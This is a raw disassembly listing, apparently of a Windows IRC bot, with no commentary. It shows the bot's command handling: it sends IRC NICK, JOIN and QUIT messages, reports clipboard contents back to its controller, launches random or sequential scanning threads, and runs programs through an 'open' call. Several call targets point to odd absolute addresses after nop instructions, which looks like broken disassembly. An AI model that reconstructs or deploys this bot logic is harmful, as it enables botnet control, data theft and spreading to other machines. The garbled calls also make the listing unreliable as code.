		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AA5:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43AD0C
		test	eax, eax
		push	edi
		jz	short loc_413AC5
		push	offset unk_4305C0
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413AC5:				; CODE XREF: sub_40EE72+4C47j
		push	offset unk_43057C
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_413ACF:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	byte_42F5C4, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_430548
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AE4:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E98
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_412FD0
; ---------------------------------------------------------------------------


loc_413B32:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2630F90h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	dword_43AE30
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_440804[eax]
		nop
		call	near ptr 27F09C7h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_440804[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_4405F0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413BDD:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C1B
		call	sub_416F25
		cmp	eax, ebx
		jle	short loc_413C11
		push	eax
		push	offset dword_4304FC


loc_413BFD:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0


loc_413C09:				; CODE XREF: sub_40EE72+3CA4j
		add	esp, 0Ch
		jmp	loc_41460C
; ---------------------------------------------------------------------------


loc_413C11:				; CODE XREF: sub_40EE72+4D83j
		push	offset dword_4304C4
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_413C1B:				; CODE XREF: sub_40EE72+4D7Aj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_413C37:				; CODE XREF: sub_40EE72+4E36j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E97
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5E
		push	offset dword_430490
		jmp	short loc_413C63
; ---------------------------------------------------------------------------


loc_413C5E:				; CODE XREF: sub_40EE72+4DE3j
		push	offset dword_430454


loc_413C63:				; CODE XREF: sub_40EE72+4DEAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C93
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_413C93:				; CODE XREF: sub_40EE72+4E03j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C37
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413CAF:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_43042C
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413CE9:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_430DC8
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_4303FC
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D05:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_4303CC
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D28:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_430398
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_413D44:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx


loc_413D5B:				; CODE XREF: sub_40EE72+4EF1j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D5B
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx


loc_413D70:				; CODE XREF: sub_40EE72+51BCj
		push	8
		call	sub_416FA4
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 3E8h
		jle	short loc_413DBF
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_4316DC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414025
; ---------------------------------------------------------------------------


loc_413DBF:				; CODE XREF: sub_40EE72+4F18j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 270Fh
		mov	[ebp+arg_0], ebx
		jz	short loc_413E30
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]


loc_413DFA:				; CODE XREF: sub_40EE72+4FA0j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E16
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DFA
		jmp	short loc_413E30
; ---------------------------------------------------------------------------


loc_413E16:				; CODE XREF: sub_40EE72+4F96j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_413E30:				; CODE XREF: sub_40EE72+4F7Bj
					; sub_40EE72+4FA2j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43AD3C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED2


loc_413EB0:				; CODE XREF: sub_40EE72+505Ej
		cmp	eax, ebx
		jz	short loc_413ED2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EB0


loc_413ED2:				; CODE XREF: sub_40EE72+503Cj
					; sub_40EE72+5040j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		push	offset byte_436EDC
		push	offset aF	; "#f"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3C
		push	offset aF	; "#f"
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F42
; ---------------------------------------------------------------------------


loc_413F3C:				; CODE XREF: sub_40EE72+50B1j
		mov	[ebp+var_3B4], bl


loc_413F42:				; CODE XREF: sub_40EE72+50C8j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F54
		mov	eax, offset aSequential	; "Sequential"


loc_413F54:				; CODE XREF: sub_40EE72+50DBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_430320
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_413FDE


loc_413FCC:				; CODE XREF: sub_40EE72+516Aj
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF9
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_413FCC
; ---------------------------------------------------------------------------


loc_413FDE:				; CODE XREF: sub_40EE72+5158j
		nop
		call	near ptr 2670ADCh
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4315CC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_413FF9:				; CODE XREF: sub_40EE72+5160j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414018
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414018:				; CODE XREF: sub_40EE72+518Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_414025:				; CODE XREF: sub_40EE72+4F48j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D70
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_414039:				; CODE XREF: sub_40EE72+3108j
					; sub_40EE72+4FC4j
		push	offset unk_4302DC
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_414043:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_4302A4
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4140DC


loc_4140C9:				; CODE XREF: sub_40EE72+5268j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_4140C9
; ---------------------------------------------------------------------------


loc_4140DC:				; CODE XREF: sub_40EE72+5255j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_430258
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_4140ED:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414103
		push	offset unk_43022C
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_414103:				; CODE XREF: sub_40EE72+5285j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414126
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41413A
; ---------------------------------------------------------------------------


loc_414126:				; CODE XREF: sub_40EE72+529Aj
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h


loc_41413A:				; CODE XREF: sub_40EE72+52B2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_41414A
		mov	esi, offset byte_42F678


loc_41414A:				; CODE XREF: sub_40EE72+52D1j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41421D


loc_414207:				; CODE XREF: sub_40EE72+53A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_414207
; ---------------------------------------------------------------------------


loc_41421D:				; CODE XREF: sub_40EE72+5393j
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset unk_4301E4
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_41422E:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414252
; ---------------------------------------------------------------------------


loc_41424D:				; CODE XREF: sub_40EE72+53C5j
					; sub_40EE72+53D0j
		mov	eax, dword_42F5B0


loc_414252:				; CODE XREF: sub_40EE72+53D9j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414285
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4142B0
; ---------------------------------------------------------------------------


loc_414285:				; CODE XREF: sub_40EE72+5400j
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		nop
		call	near ptr 2640000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h


loc_4142B0:				; CODE XREF: sub_40EE72+5411j
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142DB
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl


loc_4142DB:				; CODE XREF: sub_40EE72+5453j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414393


loc_41437D:				; CODE XREF: sub_40EE72+551Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E5
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_41437D
; ---------------------------------------------------------------------------


loc_414393:				; CODE XREF: sub_40EE72+5509j
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset unk_43019C
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_4143A4:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C8
; ---------------------------------------------------------------------------


loc_4143C3:				; CODE XREF: sub_40EE72+553Bj
					; sub_40EE72+5546j
		mov	eax, dword_42F5B4


loc_4143C8:				; CODE XREF: sub_40EE72+554Fj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DF
		lea	eax, [ebp+var_D8]


loc_4143DF:				; CODE XREF: sub_40EE72+5565j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_414401
		mov	esi, offset byte_436EDC


loc_414401:				; CODE XREF: sub_40EE72+5588j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_430150
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset word_41570E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4144CA


loc_4144B8:				; CODE XREF: sub_40EE72+5656j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E5
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_4144B8
; ---------------------------------------------------------------------------


loc_4144CA:				; CODE XREF: sub_40EE72+5644j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_430104


loc_4144D6:				; CODE XREF: sub_40EE72+3625j
					; sub_40EE72+3722j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4144E5:				; CODE XREF: sub_40EE72+3609j
					; sub_40EE72+3706j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------


loc_4144F5:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414508
		push	esi
		call	sub_41781F
		jmp	short loc_41450F
; ---------------------------------------------------------------------------


loc_414508:				; CODE XREF: sub_40EE72+568Cj
		push	8
		call	sub_416FC3


loc_41450F:				; CODE XREF: sub_40EE72+5694j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB


loc_41452A:				; CODE XREF: sub_40EE72+5B67j
		add	esp, 10h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_414532:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43ACC0
		cmp	eax, ebx
		jz	short loc_41454F
		call	eax
		test	eax, eax
		jz	short loc_414548
		push	offset unk_4300D0
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414548:				; CODE XREF: sub_40EE72+56CDj
		push	offset unk_430094
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_41454F:				; CODE XREF: sub_40EE72+56C7j
		push	offset dword_430058
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414556:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_41457A
		push	offset dword_430024


loc_414564:				; CODE XREF: sub_40EE72+4AFCj
					; sub_40EE72+56D4j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------


loc_41457A:				; CODE XREF: sub_40EE72+56EBj
		push	offset unk_42FFE8
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_414581:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4145A0
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4145A0:				; CODE XREF: sub_40EE72+5712j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FFA8


loc_4145BD:				; CODE XREF: sub_40EE72+5A09j
					; sub_40EE72+5A3Bj
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_4145CA:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_4145DD
		push	offset dword_42FF70
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------


loc_4145DD:				; CODE XREF: sub_40EE72+5762j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F9
		push	offset dword_42FF38
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------


loc_4145F9:				; CODE XREF: sub_40EE72+577Ej
		push	offset dword_42FF08


loc_4145FE:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41460C:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]


loc_414619:				; CODE XREF: sub_40EE72+3961j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_414629:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E11
; ---------------------------------------------------------------------------


loc_414636:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41464F:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41466C:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26308B3h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414695
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax


loc_414695:				; CODE XREF: sub_40EE72+5818j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AE
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F47


loc_4146AE:				; CODE XREF: sub_40EE72+5831j
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FEE0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------


loc_4146F1:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_42FEB0
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_41470F:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414738
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42FE7C
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------


loc_414738:				; CODE XREF: sub_40EE72+58A7j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
